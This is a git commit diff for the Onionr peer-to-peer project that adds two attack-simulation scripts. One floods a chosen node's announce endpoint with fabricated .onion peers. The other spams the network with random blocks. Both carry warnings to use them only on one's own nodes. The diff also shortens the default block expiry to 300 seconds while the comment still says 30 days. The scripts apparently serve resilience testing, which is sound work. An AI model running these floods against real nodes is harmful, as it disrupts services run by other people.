added attack simulation scripts
This commit is contained in:
parent
c58bbbb10f
commit
6500229000
@ -1,4 +1,6 @@
|
||||
This directory contains useful scripts and utilities that don't make sense to include as official Onionr features.
|
||||
|
||||
passphrase-generator.py: very simple utility to generate and print a strong passphrase to stdout. 256 bits of entropy by default.
|
||||
enable-dev-config.py/disable-dev-config.py: enable/disable dev default config setup
|
||||
enable-dev-config.py/disable-dev-config.py: enable/disable dev default config setup
|
||||
block-spammer.py: attack tool for spamming blocks
|
||||
announce-attack.py: flood a node with false nodes
|
25
scripts/announce-attack.py
Normal file
25
scripts/announce-attack.py
Normal file
@ -0,0 +1,25 @@
|
||||
import sys
|
||||
import os
|
||||
import secrets
|
||||
import base64
|
||||
os.chdir('../')
|
||||
sys.path.append("src/")
|
||||
from onionrutils import stringvalidators
|
||||
from onionrutils import basicrequests
|
||||
|
||||
|
||||
def random_tor_generator():
|
||||
return base64.b32encode(secrets.token_bytes(35)).decode().replace("=", "").lower() + ".onion"
|
||||
|
||||
node = input("Enter node to attack. Note that you must legally use your own, and even that might lead to issues")
|
||||
assert stringvalidators.validate_transport(node)
|
||||
|
||||
count = int(input("Attack amount: "))
|
||||
port = input("Socks:")
|
||||
for x in range(count):
|
||||
new = random_tor_generator()
|
||||
print(f"Introducing {new} to {node}")
|
||||
basicrequests.do_post_request(
|
||||
f'http://{node}/announce',
|
||||
data = {'node': new},
|
||||
port=port)
|
21
scripts/block-spammer.py
Executable file
21
scripts/block-spammer.py
Executable file
@ -0,0 +1,21 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
"""Spam a bunch of Onionr blocks"""
|
||||
|
||||
# Please don't run this script on the real Onionr network. You wouldn't do anything but be annoying
|
||||
|
||||
print("Please don't run this script on the real Onionr network. You wouldn't do anything but be annoying, and possibly violate law")
|
||||
|
||||
import sys
|
||||
import os
|
||||
os.chdir('../')
|
||||
sys.path.append("src/")
|
||||
import onionrblocks
|
||||
|
||||
|
||||
amount = int(input("Number of blocks:"))
|
||||
|
||||
for i in range(amount):
|
||||
onionrblocks.insert(data=os.urandom(32))
|
||||
print(i, "done")
|
||||
|
@ -53,7 +53,7 @@ MAX_NEW_PEER_QUEUE = 1000
|
||||
"""Make announce take a few seconds (on average) to compute to discourage excessive node announcements"""
|
||||
ANNOUNCE_POW = 6
|
||||
"""30 days is plenty of time for someone to decide to renew a block"""
|
||||
DEFAULT_EXPIRE = 2592000
|
||||
DEFAULT_EXPIRE = 300
|
||||
# Metadata header section length limits, in bytes
|
||||
BLOCK_METADATA_LENGTHS = {'meta': 1000, 'sig': 200, 'signer': 200, 'time': 10, 'pow': 1000, 'encryptType': 4, 'expire': 14}
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user